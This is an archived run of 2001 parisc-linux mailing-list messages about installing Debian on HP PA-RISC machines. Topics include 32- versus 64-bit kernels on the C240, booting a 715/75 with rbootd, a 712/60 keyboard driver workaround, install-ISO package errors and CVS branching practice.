	id 452F79CE; Wed, 11 Jul 2001 11:23:35 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id JAA01213;
	Wed, 11 Jul 2001 09:23:34 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.22 #1 (Debian))
	id 15KLpt-0003hL-00; Wed, 11 Jul 2001 09:23:33 -0600
In-Reply-To: Your message of "Wed, 11 Jul 2001 09:46:24 BST."
             <20010711094624.F18375@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11585

= > > I do have one question, why
= > > would it not try to install the 64bit version? I was
= > > pretty sure that a C240 is a 64bit system.

As others said, it's a 64-bit-capable CPU with 32-bit-only firmware and
only 32-bit kernels work there right now.  I don't know that a 64-bit
kernel buys you much on a C240 -- am I mistaken?

= > PDC on the C240 (and similar C-models of that generation) only
= > support PDC calls in "narrow" (ie 32-bit) mode. Sounds like the decision
= > to install 32 vs 64-bit depends on the PDC capabilities bit.
= > Can anyone offhand confirm/deny?

Yes, palo asks the firmware whether one or both of 32&64-bit OSs will
run on the box.  Cxxx says 32 bit only.  If both are possible, palo
chooses 32-bit for now.

= a 64 bit kernel with narrow PDC
= calls later would be an option (once it works).  Do we leave building
= that kernel as an exercise for the user, or or do we have one packaged
= in the archive?

When it works we can add a config file for building a suitably flavored
debian kernel-image package.

	-P




From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Install on a 715/75 (wont boot)
Date: Wed, 11 Jul 2001 11:28:28 -0400
Lines: 99
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB192162686@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620291 22258 80.91.229.3 (22 Nov 2014 01:38:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:11 +0000 (UTC)
Cc: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: 'Richard Hirst' <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 09:28:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx1.corp.harris.com (mlbmx1.corp.harris.com [137.237.90.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B4B6482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 09:28:33 -0600 (MDT)
Original-Received: by mlbmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <3VL0XQZJ>; Wed, 11 Jul 2001 11:28:31 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11586

Thank you very much, my first shot with rbootd works great, I=B4m =
installing right
now :)

greetings
Wolfgang=20
> -----Original Message-----
> From:	Richard Hirst [SMTP:rhirst@linuxcare.com]
> Sent:	Wednesday, July 11, 2001 4:39 PM
> To:	Pedot, Wolfgang
> Cc:	'Parisc Linux Mailinglist'
> Subject:	Re: [parisc-linux] Install on a 715/75 (wont boot)
>=20
> On Wed, Jul 11, 2001 at 08:29:54AM -0400, Pedot, Wolfgang wrote:
> > 	For 0.9.1 it sounds like you picked up one of the broken versions
> > 	of the ISO.  A new image was posted yesterday, so if you =
downloaded
> > 	before that, please try again.
> >=20
> > Ok, i downloaded the new one and it works better but still no =
installer
> because
> > my machine freezes at "branching to kernel at <addr>". Heres the =
output:
> >=20
> > Trying scsi.4.0
> > Boot path initialized.
> > Attemption to load IPL.
> >=20
> >=20
> > Hard bootet.
> > palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
> > 0/vmlinux32 2853588 bytes @ 0x6ad6800
> > 0/vmlinux64 3585851 bytes @ 0x6d8f800
> > 0/ramdisk 1991209 bytes @ 0x70fb000
> >=20
> > Command line: 'root=3D/dev/ram console=3Dtty0 sti=3D0 =
sti_font=3DVGA8x16 TERM=3Dlinux'
>=20
> STI console doesn't work on 715/75, you must use a serial console.
>=20
> > Kernel: partition 0 file /vmlinux
> > Ramdisk: partition 0 file /ramdisk
> > Warning: kernel name doesn=B4t end with 32 or 64... Guessing =
Annoyance:
> Firmware
> > does not support PDC_MODEL_CAPABILITIES call
> > 32
> > ELF32 executable
> > Entry 00100000 first 00100000 n 4
> > Segment 0 load 00100000 size 1606948 mediaptr 0x1000
> > Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
> > Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
> > Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
> > Loading ramdisk 1991209 bytes @ 03e09000...
> > branching to kernel entry point 0x00100000
> >=20
> > 	0.9 didn't work on 715/75 anyway, but I would not have expected =
your
> > 	particular error.
> >=20
> > 	I have never booted my 715/75 from CD; I've always booted it from
> > 	the network.  The README on the CD should explain (briefly) how to
> > 	do that.
> >=20
> > 	=20
> > Well I tried to boot using bootp but it seems the 715 and my =
bootp-Server
> don=B4t
> > understand each other. I have a running bootpd but it wont get =
anything from
> the
> > 715 because it doesnt send UDP-Pakets but LLC-Pakets directly to =
the given
> MAC.
> > Since I=B4m new to Parisc-Machine I=B4m maybe doing something =
wrong, I press ESC
> at
> > bootup and enter "a" to get to the Boot-Admin-Menu, then I say =
"boot
> > lan.<mac_of_bootp_server>" and I see that there are some LLC-Pakets =
coming
> to
> > the Bootp-Server but there are no responses....
>=20
> 715/75 uses rbootd, not bootp.  There is a copy in
> ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/
>=20
> Richard
>=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60, kernel 2.4.6 and keyboard.
Date: Wed, 11 Jul 2001 16:32:00 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20010711163200.P18375@linuxcare.com>
References: <JA8AAAAAAd8izgABYQABMhINAcxU@enfo.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620292 22262 80.91.229.3 (22 Nov 2014 01:38:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jari Eskelinen <jari.eskelinen@enfo.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 09:33:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FAE4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 09:33:20 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 49563B00C; Wed, 11 Jul 2001 16:32:00 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <JA8AAAAAAd8izgABYQABMhINAcxU@enfo.fi>; from jari.eskelinen@enfo.fi on Wed, Jul 11, 2001 at 06:18:00PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11587

On Wed, Jul 11, 2001 at 06:18:00PM +0200, Jari Eskelinen wrote:
> Hi!
> 
> I have 712/60 machine and I have used 2.4.0-pa30 kernel with it with great success. Today I tried to compile 2.4.6-pa11 kernel (cross-compiling with my P800, it was horrible sloooooow with 721/60 :) and it almost succeeded. Everything else works, but PS/2 keyboard won't just work. Nothing comes to screen when typing. Logging from network works as usual. Kernel seems to recognise keyboard:
> 
> PS/2 keyboard controller at 0xf0108000 (irq 69) found, device attached.
> Lasi PS/2 wait 3734
> PS/2 psaux controller at 0xf0108100 (irq 69) found, device attached.
> 
> But it won't work. Mouse works fine, I can login if playing with mouse and gpm (cut r, paste, cut o, paste paste, cut t, paste, cut return, paste etc.) :D
> 
> Have anybody similiar experiences and most importantly, can anybody tell how to solve ths problem?

Known problem, try unplugging and replugging the keyboard, while the
system is running.  Works for some people.

Richard





From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60, kernel 2.4.6 and keyboard.
Date: Wed, 11 Jul 2001 17:25:33 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <3B4C6FED.BAA6CD6F@esiee.fr>
References: <JA8AAAAAAd8izgABYQABMhINAcxU@enfo.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620292 22265 80.91.229.3 (22 Nov 2014 01:38:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:12 +0000 (UTC)
To: Jari Eskelinen <jari.eskelinen@enfo.fi>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 09:37:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD436482A
	for <parisc-linux@parisc-linux.org>; Wed, 11 Jul 2001 09:37:26 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 1B870D15AD; Wed, 11 Jul 2001 17:37:24 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11588

Hi Jari,
> 
> Hi!
> 
> I have 712/60 machine and I have used 2.4.0-pa30 kernel with it with great success. Today I tried to compile 2.4.6-pa11 kernel (cross-compiling with my P800, it was horrible sloooooow with 721/60 :) and it almost succeeded. Everything else works, but PS/2 keyboard won't just work. Nothing comes to screen when typing. Logging from network works as usual. Kernel seems to recognise keyboard:
> 
> PS/2 keyboard controller at 0xf0108000 (irq 69) found, device attached.
> Lasi PS/2 wait 3734
> PS/2 psaux controller at 0xf0108100 (irq 69) found, device attached.
> 
For the moment, my conclusion is that gsc_ps2_kbd_ops are not
registered. That's why you should not have the leds working on your
keyboard too. If you want the keyboard working, you can add a little
hack but it is NOT the best solution.

In drivers/char/hp_psaux.c:
You have
switch (id) {
	case 0:	
	   	register_kbd_ops(&gsc_ps2_kbd_ops);
		break;
	case 1:
And, you can put this:
switch (id) {
	case 0:	
->		inited++;
	   	register_kbd_ops(&gsc_ps2_kbd_ops);
		break;
	case 1:

Agian, this is not a permanent solution, Thomas
ESIEE Team




From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.92 install iso problems
Date: Wed, 11 Jul 2001 15:36:05 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <002c01c10a40$ba3143a0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0029_01C10A1F.3305B300"
X-Trace: ger.gmane.org 1416620292 22269 80.91.229.3 (22 Nov 2014 01:38:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:12 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 13:33:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4D09482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 13:33:46 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 3XCGX4Y7; Wed, 11 Jul 2001 15:33:45 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11589

This is a multi-part message in MIME format.

------=_NextPart_000_0029_01C10A1F.3305B300
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I've downloaded and burned the 0.92 install iso but I run into trouble =
while retreiving packages. It can't retrieve groff and then quits =
because of it. Any suggestions?

------=_NextPart_000_0029_01C10A1F.3305B300
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I've downloaded and burned the 0.92 =
install iso but=20
I run into trouble while retreiving packages. It can't retrieve groff =
and then=20
quits because of it. Any suggestions?</FONT></DIV></BODY></HTML>

------=_NextPart_000_0029_01C10A1F.3305B300--





From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Wed, 11 Jul 2001 14:38:08 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <200107112038.OAA07896@puffin.external.hp.com>
References: <bame@fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620292 22271 80.91.229.3 (22 Nov 2014 01:38:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:12 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Charles Boone <ccboone@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 14:39:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2533D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 14:39:29 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA07896;
	Wed, 11 Jul 2001 14:38:08 -0600
In-Reply-To: Message from Paul Bame <bame@fc.hp.com> 
   of "Wed, 11 Jul 2001 09:23:33 MDT." <E15KLpt-0003hL-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11590

Paul Bame wrote:
> I don't know that a 64-bit kernel buys you much on a C240 -- am I mistaken?

I think not.

I thought about making the same comment since in general wide-mode
just runs 2-5% slower. But some apps could take advantage of the wider
words for substantial perf gains...but since we don't support 64-bit apps
(yet) and only a few isolated places in the kernel would benefit (eg
cksum'ing code), I don't see 64-bit kernel a "must have" for C240.

> = > PDC on the C240 (and similar C-models of that generation) only
> = > support PDC calls in "narrow" (ie 32-bit) mode. Sounds like the decision
> = > to install 32 vs 64-bit depends on the PDC capabilities bit.
> = > Can anyone offhand confirm/deny?
> 
> Yes, palo asks the firmware whether one or both of 32&64-bit OSs will
> run on the box.  Cxxx says 32 bit only.  If both are possible, palo
> chooses 32-bit for now.

Ok - thanks!
And I think that's fine in general. Someone with a specific
need for 64-bit ops can build/install a 64-bit kernel after the fact.
Someday we might have a real 64-bit userspace and it might be interesting
to get pickier about install support for PA2.0 CPU's.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Berg <Aaron.Berg@mnsu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Crazy Beowulf stuff!
Date: Wed, 11 Jul 2001 16:07:10 -0500
Organization: MSU
Lines: 23
Approved: news@gmane.org
Message-ID: <3B4CBFFE.1AE90276@mnsu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620293 22274 80.91.229.3 (22 Nov 2014 01:38:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 15:07:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.mnsu.edu (Mail.Mankato.MSUS.EDU [134.29.1.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70D13482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 15:07:02 -0600 (MDT)
Original-Received: from mnsu.edu (Bard.CS.MNS.EDU [134.29.51.13] (may be forged))
	by mail.mnsu.edu (8.9.3/8.9.3) with ESMTP id QAA32711
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 16:07:00 -0500 (CDT)
Original-Sender: shuz@mail.mnsu.edu
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-12smp i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11591

Greetings all! I was reading a couple of posts about clustering. Well I
made a small 6 node +server x86 cluster over a year ago now. Works great
and now I am being donated 10 hp 9000 c220 4 c110 and 2 j2240. Now I
have read that the j2240 and 220 may not be quite working yet. For the
last two years I have been fiddling with getting RS/6000 43p 260 running
linux. so I know how time consuming it can be to get a computer running
linux. I would simply like to say I maybe getting active in this HP 9000
stuff very shortly. Time pending I would love to help make progress with
the pa-risk linux project. I may even be the 2nd person crazy enough to
build a beowulf cluster with them. ;-) 
Take care all and good luck on all your projects!
-Aaron
-- 
Aaron C. Berg Aaron.Berg@mnsu.edu
Minnesota State University, Mankato http://www.mnsu.edu
CS Department Systems Administrator http://csl.cs.mnsu.edu
Wissink Building 283
Phone: (507)389-5600 Fax: (507)389-6376

Have a great day!




From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.92 install iso problems
Date: Thu, 12 Jul 2001 11:12:15 +0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20010712111206.F17064@neep.com.au>
References: <002c01c10a40$ba3143a0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620293 22276 80.91.229.3 (22 Nov 2014 01:38:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 21:12:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-02.iinet.net.au [203.59.24.17])
	by dsl2.external.hp.com (Postfix) with SMTP id DB3F8482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 21:12:39 -0600 (MDT)
Original-Received: (qmail 3161 invoked by uid 666); 12 Jul 2001 03:12:30 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.173.94)
  by mail.iinet.net.au with SMTP; 12 Jul 2001 03:12:30 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id LAA05369
	for parisc-linux@lists.parisc-linux.org; Thu, 12 Jul 2001 11:12:21 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <002c01c10a40$ba3143a0$0f809b8e@ati.stlawrencec.on.ca>; from rpengelly@ati.stlawrencec.on.ca on Wed, Jul 11, 2001 at 03:36:05PM -0400
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11592

Quoth rpengelly:
> I've downloaded and burned the 0.92 install iso but I run into trouble
> while retreiving packages. It can't retrieve groff and then quits
> because of it. Any suggestions?

In what way can it not retrieve groff?  Simply 'file not found'?  Run
'apt-get update' and try again.  Or give a bit more information about
your problem.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Wed, 11 Jul 2001 23:23:34 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <200107120523.XAA09209@puffin.external.hp.com>
References: <rhirst@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620293 22278 80.91.229.3 (22 Nov 2014 01:38:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 11 23:24:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD472482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jul 2001 23:24:21 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA09209;
	Wed, 11 Jul 2001 23:23:34 -0600
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Wed, 11 Jul 2001 09:46:24 BST." <20010711094624.F18375@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11593

Richard Hirst wrote:
> Installing a 64 bit kernel with narrow PDC
> calls later would be an option (once it works).  Do we leave building
> that kernel as an exercise for the user, or or do we have one packaged
> in the archive?

I was under the impression the "CONFIG_PDC_NARROW" option would only
"activate" itself in one boxes that needed it. Ie it does grow the kernel
and AFAIK is really only useful for Cxxx models.
Ryan, do I have it right?

I am pretty sure K/D/R-class boxes have a different source base for PDC
which "properly" support wide-mode PDC calls.

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS rumors
Date: Thu, 12 Jul 2001 00:42:25 -0400
Lines: 77
Approved: news@gmane.org
Message-ID: <3B4D2AB1.5010809@subcarrier.org>
References: <E15Jz7i-00028D-00@noam.fc.hp.com>  <20010710172502.A6103@parcelfarce.linux.theplanet.co.uk> <E15K1Iz-0002RR-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620294 22281 80.91.229.3 (22 Nov 2014 01:38:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 01:44:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from relay1.pair.com (relay1.pair.com [209.68.1.20])
	by dsl2.external.hp.com (Postfix) with SMTP id A8C6D482A
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jul 2001 01:44:02 -0600 (MDT)
Original-Received: (qmail 6412 invoked from network); 12 Jul 2001 07:43:59 -0000
Original-Received: from softdnserror (HELO subcarrier.org) (209.157.142.140)
  by relay1.pair.com with SMTP; 12 Jul 2001 07:43:59 -0000
X-pair-Authenticated: 209.157.142.140
User-Agent: Mozilla/5.0 (X11; U; Linux 2.4.2-2 i686; en-US; rv:0.9.1) Gecko/20010622
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:11594

Paul Bame wrote:

>
> CM best practices usually involve explicitly tagging any release one
> hopes to reproduce in the future and we could start doing that (I recommend
> it).  For now either we apply the aforementioned workaround so we can
> do untagged date-based checkouts, or I can come up with a procedure for
> grabbing a suitable set of bits.


Tags are cheap.  Explicitly tagging at important moments is the way to 
go.  Relying on a date-based checkout is potentially less accurate, so 
IMO this shouldn't be the common practice.  There's no harm in adding a 
static tag, and you can always remove it or possibly fix it up if you 
get it wrong.


> = I don't understand why we're using vendor branches at all though.  When
> = mang was doing CVS God duties, he imported Linus' stuff on an ordinary
> = branch.  What is the advantage of using vendor branches over ordinary ones?
> 
> Vendor branches are both a concept and an implementation.  The
> implementation sucks but the concept -- keeping clean upstream releases
> on a separate branch -- to me is a good one and is one of the things
> CVS does quite well.
> 
> safe-cvsimport essentially doesn't use the vendor branch *implementation*
> (aka, how 'cvs import' would do it) but it does use the vendor branch
> *concept*.  So safe-cvsimport is attempting to automate what mang did
> by hand.


Writing an import script was one of those things I always meant to do in 
my copious spare time.  I'm glad to see that someone is actually doing 
the work :)  Where does the code for safe-cvsimport live?


> = > For now I'll be
> = > happy to consult and/or fix problems which result from safe-cvsimport.
> = 
> = No offence, but every time we've done a new import, we've discovered new
> = and excitingly different problems which have taken some time to be fixed.


All the more reason to roll the solutions found to these problems into a 
script.  Proper importing by hand is rather tedious and prone to 
operator error.  Also, any extra time spent fully understanding the 
problems and finding a robust solution will be regained over the 
following merges or if the cvs wrangler moves on to a different project 
-- hypothetically, of course ;)

> = I'm extremely nervous about using it while you're gone.
> 
> In the linux tree I echo your concern and there's really no way to be
> rid of the vestiges of upstream imports which came into the trunk unless
> we reinitialize our archive.  That plus the current brokenness of not
> removing files which were removed upstream makes me think that
> unless I do future imports, they might better be done "by
> hand" on the "linus" branch, which I call a vendor branch though it
> is not a cvs-style-broken-vendor-branch any longer.


I'd avoid using the term "vendor branch", since that already has a 
specific meaning to savvy CVS users (who will rightly criticize their 
use).  Calling it something like the "upstream branch" would avoid the 
overloaded meaning.  I haven't been following things enough to know what 
the issues related to "the vestiges of upstream imports" are.

	- Mike.









From - Thu Nov 08 21:18:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.92 install iso problems
